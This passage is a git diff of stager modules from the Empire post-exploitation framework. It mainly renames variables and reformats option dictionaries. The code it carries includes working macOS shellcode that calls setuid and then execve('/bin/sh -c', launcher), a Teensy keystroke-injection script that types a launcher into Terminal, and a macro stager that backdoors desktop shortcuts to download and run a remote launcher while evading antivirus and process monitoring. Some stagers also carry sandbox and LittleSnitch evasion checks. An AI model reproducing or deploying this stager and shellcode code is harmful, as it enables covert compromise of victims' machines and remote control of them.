userAgent=user_agent, + safeChecks=safe_checks) if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" else: - if AppName == '': - AppName = "Update" - Disarm=True - launcherCode = launcher.strip('echo').strip(' | python3 &').strip("\"") - ApplicationZip = self.mainMenu.stagers.generate_appbundle(launcherCode=launcherCode,Arch=arch,icon=icnsPath,AppName=AppName,disarm=Disarm) - pkginstaller = self.mainMenu.stagers.generate_pkg(launcher=launcher,bundleZip=ApplicationZip,AppName=AppName) + if app_name == '': + app_name = "Update" + disarm = True + launcher_code = launcher.strip('echo').strip(' | python3 &').strip("\"") + application_zip = self.mainMenu.stagers.generate_appbundle(launcherCode=launcher_code, Arch=arch, + icon=icns_path, AppName=app_name, disarm=disarm) + pkginstaller = self.mainMenu.stagers.generate_pkg(launcher=launcher, bundleZip=application_zip, + AppName=app_name) return pkginstaller diff --git a/empire/server/stagers/osx/safari_launcher.py b/empire/server/stagers/osx/safari_launcher.py index cb0ae47ac..1ae58fb1c 100644 --- a/empire/server/stagers/osx/safari_launcher.py +++ b/empire/server/stagers/osx/safari_launcher.py @@ -12,50 +12,50 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@424f424f'], - 'Description': ('Generates an HTML payload launcher for Empire.'), + 'Description': 'Generates an HTML payload launcher for Empire.', - 'Comments': [ - 'https://www.exploit-db.com/exploits/38535/' - ] + 'Comments': ['https://www.exploit-db.com/exploits/38535/'] } # any options needed by the stager, settable during runtime self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'python' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'python', + 'SuggestedValues': ['python'], + 'Strict': True }, - 'OutFile' : { - 'Description' : 'Filename that should be used for the generated output, otherwise returned as a string.', - 'Required' : False, - 'Value' : '' + 'OutFile': { + 'Description': 'Filename that should be used for the generated output, otherwise returned as a string.', + 'Required': False, + 'Value': '' }, - 'SafeChecks' : { - 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'SafeChecks': { + 'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'Base64' : { - 'Description' : 'Switch. Base64 encode the output.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True - }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'Base64': { + 'Description': 'Switch. Base64 encode the output.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True + }, + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' } } @@ -73,17 +73,18 @@ def generate(self): # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] + listener_name = self.options['Listener']['Value'] base64 = self.options['Base64']['Value'] - userAgent = self.options['UserAgent']['Value'] - safeChecks = self.options['SafeChecks']['Value'] + user_agent = self.options['UserAgent']['Value'] + safe_checks = self.options['SafeChecks']['Value'] encode = False if base64.lower() == "true": encode = True # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=encode, userAgent=userAgent, safeChecks=safeChecks) + launcher = self.mainMenu.stagers.generate_launcher(listenerName=listener_name, language=language, encode=encode, + userAgent=user_agent, safeChecks=safe_checks) if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" diff --git a/empire/server/stagers/osx/shellcode.py b/empire/server/stagers/osx/shellcode.py index c6c286a94..7f926bf6d 100644 --- a/empire/server/stagers/osx/shellcode.py +++ b/empire/server/stagers/osx/shellcode.py @@ -12,7 +12,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@johneiser'], - 'Description': ('Generate an osx shellcode launcher'), + 'Description': 'Generate an osx shellcode launcher', 'Comments': [ 'Shellcode contains NULL bytes, may need to be encoded.' @@ -23,37 +23,42 @@ def __init__(self, mainMenu, params=[]): self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'python' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'python', + 'SuggestedValues': ['python'], + 'Strict': True }, - 'Architecture' : { - 'Description' : 'Architecture: x86/x64', - 'Required' : True, - 'Value' : 'x64' + 'Architecture': { + 'Description': 'Architecture: x86/x64', + 'Required': True, + 'Value': 'x64', + 'SuggestedValues': ['x64', 'x86'], + 'Strict': True }, - 'OutFile' : { - 'Description' : 'Filename that should be used for the generated output.', - 'Required' : True, - 'Value' : 'launcher.bin' + 'OutFile': { + 'Description': 'Filename that should be used for the generated output.', + 'Required': True, + 'Value': 'launcher.bin' }, - 'SafeChecks' : { - 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'SafeChecks': { + 'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. ' + 'Defaults to True.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' } } @@ -71,19 +76,22 @@ def generate(self): # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] + listener_name = self.options['Listener']['Value'] arch = self.options['Architecture']['Value'] - savePath = self.options['OutFile']['Value'] - userAgent = self.options['UserAgent']['Value'] - safeChecks = self.options['SafeChecks']['Value'] + save_path = self.options['OutFile']['Value'] + user_agent = self.options['UserAgent']['Value'] + safe_checks = self.options['SafeChecks']['Value'] - if not self.mainMenu.listeners.is_listener_valid(listenerName): + if not self.mainMenu.listeners.is_listener_valid(listener_name): # not a valid listener, return nothing for the script - print(helpers.color("[!] Invalid listener: " + listenerName)) + print(helpers.color("[!] Invalid listener: " + listener_name)) return "" else: # generate launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, safeChecks=safeChecks) + launcher = self.mainMenu.stagers.generate_launcher(listenerName=listener_name, language=language, + encode=True, + userAgent=user_agent, + safeChecks=safe_checks) sc = "" if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) @@ -91,74 +99,74 @@ def generate(self): elif arch.lower() == 'x86': sc = ( # 0x17: int setuid(uid_t uid) - '\x31\xdb' # xor ebx, ebx ; Zero out ebx - '\x53' # push ebx ; Set uid_t uid (NULL) - '\x53' # push ebx ; Align stack (8) - '\x31\xc0' # xor eax, eax ; Zero out eax - '\xb0\x17' # mov al, 0x17 ; Prepare sys_setuid - '\xcd\x80' # int 0x80 ; Call sys_setuid - '\x83\xc4\x08' # add esp, 8 ; Fix stack (args) + '\x31\xdb' # xor ebx, ebx ; Zero out ebx + '\x53' # push ebx ; Set uid_t uid (NULL) + '\x53' # push ebx ; Align stack (8) + '\x31\xc0' # xor eax, eax ; Zero out eax + '\xb0\x17' # mov al, 0x17 ; Prepare sys_setuid + '\xcd\x80' # int 0x80 ; Call sys_setuid + '\x83\xc4\x08' # add esp, 8 ; Fix stack (args) # 0x3b: int execve(const char *path, char *const argv[], char *const envp[]) - '\x53' # push ebx ; Terminate pointer array - '\xeb\x2c' # jmp get_payload ; Retrieve pointer to payload - # got_payload: - '\xe8\x03\x00\x00\x00' # call cmd_get_param_1 ; Push pointer to "-c", 0x00 - '\x2d\x63\x00' # db "-c", 0x00 - # cmd_get_param_1: - '\xe8\x08\x00\x00\x00' # call cmd_get_param_0 ; Push pointer to "/bin/sh", 0x00 - '\x2f\x62\x69\x6e' # db "/bin" - '\x2f\x73\x68\x00' # db "/sh", 0x00 - # cmd_get_param_0: - '\x8b\x0c\x24' # mov ecx, [esp] ; Save pointer to "/bin/sh", 0x00 - '\x89\xe2' # mov edx, esp ; Prepare args - '\x53' # push ebx ; Set char *const envp[] (NULL) - '\x52' # push edx ; Set char *const argv[] ({"/bin/sh", "-c", cmd, NULL}) - '\x51' # push ecx ; Set const char *path ("/bin/sh", 0x00) - '\x53' # push ebx ; Align stack (16) - '\x31\xc0' # xor eax, eax ; Zero out eax - '\xb0\x3b' # mov al, 0x3b ; Prepare sys_execve - '\xcd\x80' # int 0x80 ; Call sys_execve - '\x83\xc4\x20' # add esp, 32 ; Fix stack (args, array[4]) + '\x53' # push ebx ; Terminate pointer array + '\xeb\x2c' # jmp get_payload ; Retrieve pointer to payload + # got_payload: + '\xe8\x03\x00\x00\x00' # call cmd_get_param_1 ; Push pointer to "-c", 0x00 + '\x2d\x63\x00' # db "-c", 0x00 + # cmd_get_param_1: + '\xe8\x08\x00\x00\x00' # call cmd_get_param_0 ; Push pointer to "/bin/sh", 0x00 + '\x2f\x62\x69\x6e' # db "/bin" + '\x2f\x73\x68\x00' # db "/sh", 0x00 + # cmd_get_param_0: + '\x8b\x0c\x24' # mov ecx, [esp] ; Save pointer to "/bin/sh", 0x00 + '\x89\xe2' # mov edx, esp ; Prepare args + '\x53' # push ebx ; Set char *const envp[] (NULL) + '\x52' # push edx ; Set char *const argv[] ({"/bin/sh", "-c", cmd, NULL}) + '\x51' # push ecx ; Set const char *path ("/bin/sh", 0x00) + '\x53' # push ebx ; Align stack (16) + '\x31\xc0' # xor eax, eax ; Zero out eax + '\xb0\x3b' # mov al, 0x3b ; Prepare sys_execve + '\xcd\x80' # int 0x80 ; Call sys_execve + '\x83\xc4\x20' # add esp, 32 ; Fix stack (args, array[4]) # 0x01: void exit(int status) - '\x31\xc0' # xor eax, eax ; Zero out eax - '\x40' # inc eax ; Prepare sys_exit - '\xcd\x80' # int 0x80 ; Call sys_exit + '\x31\xc0' # xor eax, eax ; Zero out eax + '\x40' # inc eax ; Prepare sys_exit + '\xcd\x80' # int 0x80 ; Call sys_exit - # get_payload: - '\xe8\xcf\xff\xff\xff' # call got_payload ; Push pointer to payload + # get_payload: + '\xe8\xcf\xff\xff\xff' # call got_payload ; Push pointer to payload ) else: sc = ( # 0x2000017: int setuid(uid_t uid) - '\x48\x31\xff' # xor rdi, rdi ; Set uid_t uid (NULL) - '\x48\xc7\xc0\x17\x00\x00\x02' # mov rax, 0x2000017 ; Prepare sys_setuid - '\x0f\x05' # syscall ; Call sys_setuid + '\x48\x31\xff' # xor rdi, rdi ; Set uid_t uid (NULL) + '\x48\xc7\xc0\x17\x00\x00\x02' # mov rax, 0x2000017 ; Prepare sys_setuid + '\x0f\x05' # syscall ; Call sys_setuid # 0x200003b: int execve(const char *path, char *const argv[], char *const envp[]) - '\x48\x31\xd2' # xor rdx, rdx ; Set char *const envp[] (NULL) - '\x52' # push rdx ; Terminate pointer array - '\xeb\x32' # jmp get_payload ; Retrieve pointer to payload - # got_payload: - '\xe8\x03\x00\x00\x00' # call cmd_get_param_1 ; Push pointer to "-c", 0x00 - '\x2d\x63\x00' # db "-c", 0x00 - # cmd_get_param_1: - '\xe8\x08\x00\x00\x00' # call cmd_get_param_0 ; Push pointer to "/bin/sh", 0x00 - '\x2f\x62\x69\x6e' # db "/bin" - '\x2f\x73\x68\x00' # db "/sh", 0x00 - # cmd_get_param_0: - '\x48\x8b\x3c\x24' # mov rdi, [rsp] ; Set const char *path ("/bin/sh", 0x00) - '\x48\x89\xe6' # mov rsi, rsp ; Set char *const argv[] ({"/bin/sh", "-c", cmd, NULL}) - '\x48\xc7\xc0\x3b\x00\x00\x02' # mov rax, 0x200003b ; Prepare sys_execve - '\x0f\x05' # syscall ; Call sys_execve - '\x48\x83\xc4\x20' # add rsp, 32 ; Fix stack (array[4]) + '\x48\x31\xd2' # xor rdx, rdx ; Set char *const envp[] (NULL) + '\x52' # push rdx ; Terminate pointer array + '\xeb\x32' # jmp get_payload ; Retrieve pointer to payload + # got_payload: + '\xe8\x03\x00\x00\x00' # call cmd_get_param_1 ; Push pointer to "-c", 0x00 + '\x2d\x63\x00' # db "-c", 0x00 + # cmd_get_param_1: + '\xe8\x08\x00\x00\x00' # call cmd_get_param_0 ; Push pointer to "/bin/sh", 0x00 + '\x2f\x62\x69\x6e' # db "/bin" + '\x2f\x73\x68\x00' # db "/sh", 0x00 + # cmd_get_param_0: + '\x48\x8b\x3c\x24' # mov rdi, [rsp] ; Set const char *path ("/bin/sh", 0x00) + '\x48\x89\xe6' # mov rsi, rsp ; Set char *const argv[] ({"/bin/sh", "-c", cmd, NULL}) + '\x48\xc7\xc0\x3b\x00\x00\x02' # mov rax, 0x200003b ; Prepare sys_execve + '\x0f\x05' # syscall ; Call sys_execve + '\x48\x83\xc4\x20' # add rsp, 32 ; Fix stack (array[4]) # 0x2000001: void exit(int status) - '\x48\xc7\xc0\x01\x00\x00\x02' # mov rax, 0x2000001 ; Prepare sys_exit - '\x0f\x05' # syscall ; Call sys_exit + '\x48\xc7\xc0\x01\x00\x00\x02' # mov rax, 0x2000001 ; Prepare sys_exit + '\x0f\x05' # syscall ; Call sys_exit - # get_payload: - '\xe8\xc9\xff\xff\xff' # call got_payload ; Push pointer to payload + # get_payload: + '\xe8\xc9\xff\xff\xff' # call got_payload ; Push pointer to payload ) return sc + launcher + '\x00' diff --git a/empire/server/stagers/osx/teensy.py b/empire/server/stagers/osx/teensy.py index a7e7fa312..f0d54a946 100644 --- a/empire/server/stagers/osx/teensy.py +++ b/empire/server/stagers/osx/teensy.py @@ -12,7 +12,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['Matt @matterpreter Hand'], - 'Description': ('Generates a Teensy script that runs a one-liner stage0 launcher for Empire.'), + 'Description': 'Generates a Teensy script that runs a one-liner stage0 launcher for Empire.', 'Comments': [ '' @@ -23,32 +23,35 @@ def __init__(self, mainMenu, params=[]): self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'python' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'python', + 'SuggestedValues': ['python'], + 'Strict': True }, - 'OutFile' : { - 'Description' : 'Filename that should be used for the generated output, otherwise returned as a string.', - 'Required' : False, - 'Value' : '' + 'OutFile': { + 'Description': 'Filename that should be used for the generated output, otherwise returned as a string.', + 'Required': False, + 'Value': '' }, - 'SafeChecks' : { - 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'SafeChecks': { + 'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. ' + 'Defaults to True.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' } } @@ -66,12 +69,13 @@ def generate(self): # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] - userAgent = self.options['UserAgent']['Value'] - safeChecks = self.options['SafeChecks']['Value'] + listener_name = self.options['Listener']['Value'] + user_agent = self.options['UserAgent']['Value'] + safe_checks = self.options['SafeChecks']['Value'] # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, safeChecks=safeChecks) + launcher = self.mainMenu.stagers.generate_launcher(listener_name, language=language, encode=True, + userAgent=user_agent, safeChecks=safe_checks) if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) @@ -80,64 +84,64 @@ def generate(self): else: launcher = launcher.replace('"', '\\"') - teensyCode = "void clearKeys (){\n" - teensyCode += " delay(200);\n" - teensyCode += " Keyboard.set_key1(0);\n" - teensyCode += " Keyboard.set_key2(0);\n" - teensyCode += " Keyboard.set_key3(0);\n" - teensyCode += " Keyboard.set_key4(0);\n" - teensyCode += " Keyboard.set_key5(0);\n" - teensyCode += " Keyboard.set_key6(0);\n" - teensyCode += " Keyboard.set_modifier(0);\n" - teensyCode += " Keyboard.send_now();\n" - teensyCode += "}\n\n" - teensyCode += "void mac_minWindows(void) {\n" - teensyCode += " delay(200);\n" - teensyCode += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" - teensyCode += " Keyboard.send_now();\n" - teensyCode += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI | MODIFIERKEY_ALT);\n" - teensyCode += " Keyboard.send_now();\n" - teensyCode += " Keyboard.set_key1(KEY_H);\n" - teensyCode += " Keyboard.set_key2(KEY_M);\n" - teensyCode += " Keyboard.send_now();\n" - teensyCode += " clearKeys();\n" - teensyCode += "}\n\n" - teensyCode += "void mac_openSpotlight(void) {\n" - teensyCode += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" - teensyCode += " Keyboard.set_key1(KEY_SPACE);\n" - teensyCode += " Keyboard.send_now();\n" - teensyCode += " clearKeys();\n" - teensyCode += "}\n\n" - teensyCode += "void mac_openTerminal(void) {\n" - teensyCode += " delay(200);\n" - teensyCode += " Keyboard.print(\"Terminal\");\n" - teensyCode += " delay(500);\n" - teensyCode += " Keyboard.set_key1(KEY_ENTER);\n" - teensyCode += " Keyboard.send_now();\n" - teensyCode += " clearKeys();\n" - teensyCode += " Keyboard.set_modifier(MODIFIERKEY_GUI);\n" - teensyCode += " Keyboard.set_key1(KEY_N);\n" - teensyCode += " Keyboard.send_now();\n" - teensyCode += " clearKeys();\n" - teensyCode += "}\n\n" - teensyCode += "void empire(void) {\n" - teensyCode += " delay(500);\n" - teensyCode += " mac_minWindows();\n" - teensyCode += " mac_minWindows();\n" - teensyCode += " delay(500);\n" - teensyCode += " mac_openSpotlight();\n" - teensyCode += " mac_openTerminal();\n" - teensyCode += " delay(2500);\n" - teensyCode += " Keyboard.print(\"" + launcher + "\");\n" - teensyCode += " Keyboard.set_key1(KEY_ENTER);\n" - teensyCode += " Keyboard.send_now();\n" - teensyCode += " clearKeys();\n" - teensyCode += " delay(1000);\n" - teensyCode += " Keyboard.println(\"exit\");\n" - teensyCode += "}\n\n" - teensyCode += "void setup(void) {\n" - teensyCode += " empire();\n" - teensyCode += "}\n\n" - teensyCode += "void loop() {}" - - return teensyCode + teensy_code = "void clearKeys (){\n" + teensy_code += " delay(200);\n" + teensy_code += " Keyboard.set_key1(0);\n" + teensy_code += " Keyboard.set_key2(0);\n" + teensy_code += " Keyboard.set_key3(0);\n" + teensy_code += " Keyboard.set_key4(0);\n" + teensy_code += " Keyboard.set_key5(0);\n" + teensy_code += " Keyboard.set_key6(0);\n" + teensy_code += " Keyboard.set_modifier(0);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += "}\n\n" + teensy_code += "void mac_minWindows(void) {\n" + teensy_code += " delay(200);\n" + teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI | MODIFIERKEY_ALT);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " Keyboard.set_key1(KEY_H);\n" + teensy_code += " Keyboard.set_key2(KEY_M);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += "}\n\n" + teensy_code += "void mac_openSpotlight(void) {\n" + teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" + teensy_code += " Keyboard.set_key1(KEY_SPACE);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += "}\n\n" + teensy_code += "void mac_openTerminal(void) {\n" + teensy_code += " delay(200);\n" + teensy_code += " Keyboard.print(\"Terminal\");\n" + teensy_code += " delay(500);\n" + teensy_code += " Keyboard.set_key1(KEY_ENTER);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += " Keyboard.set_modifier(MODIFIERKEY_GUI);\n" + teensy_code += " Keyboard.set_key1(KEY_N);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += "}\n\n" + teensy_code += "void empire(void) {\n" + teensy_code += " delay(500);\n" + teensy_code += " mac_minWindows();\n" + teensy_code += " mac_minWindows();\n" + teensy_code += " delay(500);\n" + teensy_code += " mac_openSpotlight();\n" + teensy_code += " mac_openTerminal();\n" + teensy_code += " delay(2500);\n" + teensy_code += " Keyboard.print(\"" + launcher + "\");\n" + teensy_code += " Keyboard.set_key1(KEY_ENTER);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += " delay(1000);\n" + teensy_code += " Keyboard.println(\"exit\");\n" + teensy_code += "}\n\n" + teensy_code += "void setup(void) {\n" + teensy_code += " empire();\n" + teensy_code += "}\n\n" + teensy_code += "void loop() {}" + + return teensy_code diff --git a/empire/server/stagers/windows/backdoorLnkMacro.py b/empire/server/stagers/windows/backdoorLnkMacro.py index 6a7324005..f52d579ff 100755 --- a/empire/server/stagers/windows/backdoorLnkMacro.py +++ b/empire/server/stagers/windows/backdoorLnkMacro.py @@ -17,23 +17,36 @@ class Stager(object): - + def __init__(self, mainMenu, params=[]): - + self.info = { 'Name': 'BackdoorLnkMacro', - + 'Author': ['@G0ldenGunSec'], - - 'Description': ( - 'Generates a macro that backdoors .lnk files on the users desktop, backdoored lnk files in turn attempt to download & execute an empire launcher when the user clicks on them. Usage: Three files will be spawned from this, an xls document (either new or containing existing contents) that data will be placed into, a macro that should be placed in the spawned xls document, and an xml that should be placed on a web server accessible by the remote system (as defined during stager generation). By default this xml is written to /var/www/html, which is the webroot on debian-based systems such as kali.'), - - 'Comments': [ - 'Two-stage macro attack vector used for bypassing tools that perform monitor parent processes and flag / block process launches from unexpected programs, such as office. The initial run of the macro is vbscript and spawns no child processes, instead it backdoors targeted shortcuts on the users desktop to do a direct run of powershell next time they are clicked. The second step occurs when the user clicks on the shortcut, the powershell download stub that runs will attempt to download & execute an empire launcher from an xml file hosted on a pre-defined webserver, which will in turn grant a full shell. Credits to @harmJ0y and @enigma0x3 for designing the macro stager that this was originally based on, @subTee for research pertaining to the xml.xmldocument cradle, and @curi0usJack for info on using cell embeds to evade AV.'] + + 'Description': 'Generates a macro that backdoors .lnk files on the users desktop, backdoored lnk files in ' + 'turn attempt to download & execute an empire launcher when the user clicks on them. ' + 'Usage: Three files will be spawned from this, an xls document (either new or containing ' + 'existing contents) that data will be placed into, a macro that should be placed in the ' + 'spawned xls document, and an xml that should be placed on a web server accessible by the ' + 'remote system (as defined during stager generation). By default this xml is written to ' + '/var/www/html, which is the webroot on debian-based systems such as kali.', + + 'Comments': ['Two-stage macro attack vector used for bypassing tools that perform monitor parent ' + 'processes and flag / block process launches from unexpected programs, such as office. The ' + 'initial run of the macro is vbscript and spawns no child processes, instead it backdoors ' + 'targeted shortcuts on the users desktop to do a direct run of powershell next time they are ' + 'clicked. The second step occurs when the user clicks on the shortcut, the powershell ' + 'download stub that runs will attempt to download & execute an empire launcher from an xml ' + 'file hosted on a pre-defined webserver, which will in turn grant a full shell. Credits to ' + '@harmJ0y and @enigma0x3 for designing the macro stager that this was originally based on, ' + '@subTee for research pertaining to the xml.xmldocument cradle, and @curi0usJack for info on ' + 'using cell embeds to evade AV.'] } # random name our xml will default to in stager options xmlVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(5, 9))) - + # any options needed by the stager, settable during runtime self.options = { # format: @@ -41,17 +54,19 @@ def __init__(self, mainMenu, params=[]): 'Listener': { 'Description': 'Listener to generate stager for.', 'Required': True, - 'Value': '' + 'Value': '', }, 'Obfuscate': { - 'Description': 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Description': 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for ' + 'obfuscation types. For powershell only.', 'Required': False, 'Value': 'False', 'SuggestedValues': ['True', 'False'], 'Strict': True }, 'ObfuscateCommand': { - 'Description': 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Description': 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For ' + 'powershell only.', 'Required': False, 'Value': r'Token\All\1' }, @@ -61,17 +76,23 @@ def __init__(self, mainMenu, params=[]): 'Value': 'powershell' }, 'TargetEXEs': { - 'Description': 'Will backdoor .lnk files pointing to selected executables (do not include .exe extension), enter a comma seperated list of target exe names - ex. iexplore,firefox,chrome', + 'Description': 'Will backdoor .lnk files pointing to selected executables (do not include .exe ' + 'extension), enter a comma seperated list of target exe names - ex. iexplore,firefox,' + 'chrome', 'Required': True, 'Value': 'iexplore,firefox,chrome' }, 'XmlUrl': { - 'Description': 'remotely-accessible URL to access the XML containing launcher code. Please try and keep this URL short, as it must fit in the given 1024 chars for args along with all other logic - default options typically allow for 100-200 chars of extra space, depending on targeted exe', + 'Description': 'remotely-accessible URL to access the XML containing launcher code. Please try and ' + 'keep this URL short, as it must fit in the given 1024 chars for args along with all ' + 'other logic - default options typically allow for 100-200 chars of extra space, ' + 'depending on targeted exe', 'Required': True, 'Value': "http://" + helpers.lhost() + "/" + xmlVar + ".xml" }, 'XlsOutFile': { - 'Description': 'XLS (incompatible with xlsx/xlsm) file to output stager payload to. If document does not exist / cannot be found a new file will be created', + 'Description': 'XLS (incompatible with xlsx/xlsm) file to output stager payload to. If document does ' + 'not exist / cannot be found a new file will be created', 'Required': True, 'Value': '/tmp/default.xls' }, @@ -86,7 +107,8 @@ def __init__(self, mainMenu, params=[]): 'Value': '/var/www/html/' + xmlVar + '.xml' }, 'KillDate': { - 'Description': 'Date after which the initial powershell stub will no longer attempt to download and execute code, set this for the end of your campaign / engagement. Format mm/dd/yyyy', + 'Description': 'Date after which the initial powershell stub will no longer attempt to download and ' + 'execute code, set this for the end of your campaign / engagement. Format mm/dd/yyyy', 'Required': True, 'Value': datetime.datetime.now().strftime("%m/%d/%Y") }, @@ -106,7 +128,8 @@ def __init__(self, mainMenu, params=[]): 'Value': '0' }, 'ProxyCreds': { - 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other) (2nd stage).', + 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, ' + 'or other) (2nd stage).', 'Required': False, 'Value': 'default' }, @@ -116,11 +139,11 @@ def __init__(self, mainMenu, params=[]): 'Value': 'mattifestation etw' }, } - + # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu - + for param in params: # parameter format is [Name, Value] option, value = param @@ -139,168 +162,171 @@ def coordsToCell(row, col): coords = coords + 'Z' coords = coords + str(row + 1) return coords - + def generate(self): - #default booleans to false - obfuscateScript = False + # default booleans to false + obfuscate_script = False # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] - userAgent = self.options['UserAgent']['Value'] + listener_name = self.options['Listener']['Value'] + user_agent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] - proxyCreds = self.options['ProxyCreds']['Value'] - stagerRetries = self.options['StagerRetries']['Value'] - targetEXE = self.options['TargetEXEs']['Value'] - xlsOut = self.options['XlsOutFile']['Value'] - XmlPath = self.options['XmlUrl']['Value'] - XmlOut = self.options['XmlOutFile']['Value'] + proxy_creds = self.options['ProxyCreds']['Value'] + stager_retries = self.options['StagerRetries']['Value'] + target_exe = self.options['TargetEXEs']['Value'] + xls_out = self.options['XlsOutFile']['Value'] + xml_path = self.options['XmlUrl']['Value'] + xml_out = self.options['XmlOutFile']['Value'] bypasses = self.options['Bypasses']['Value'] if self.options['Obfuscate']['Value'].lower == "true": - obfuscateScript = True - - obfuscateCommand = self.options['ObfuscateCommand']['Value'] + obfuscate_script = True + obfuscate_command = self.options['ObfuscateCommand']['Value'] # catching common ways date is incorrectly entered - killDate = self.options['KillDate']['Value'].replace('\\', '/').replace(' ', '').split('/') - if (int(killDate[2]) < 100): - killDate[2] = int(killDate[2]) + 2000 - targetEXE = targetEXE.split(',') - targetEXE = [_f for _f in targetEXE if _f] + kill_date = self.options['KillDate']['Value'].replace('\\', '/').replace(' ', '').split('/') + if (int(kill_date[2]) < 100): + kill_date[2] = int(kill_date[2]) + 2000 + target_exe = target_exe.split(',') + target_exe = [_f for _f in target_exe if _f] # set vars to random alphabetical / alphanumeric values - shellVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9))) - lnkVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9))) - fsoVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9))) - folderVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9))) - fileVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 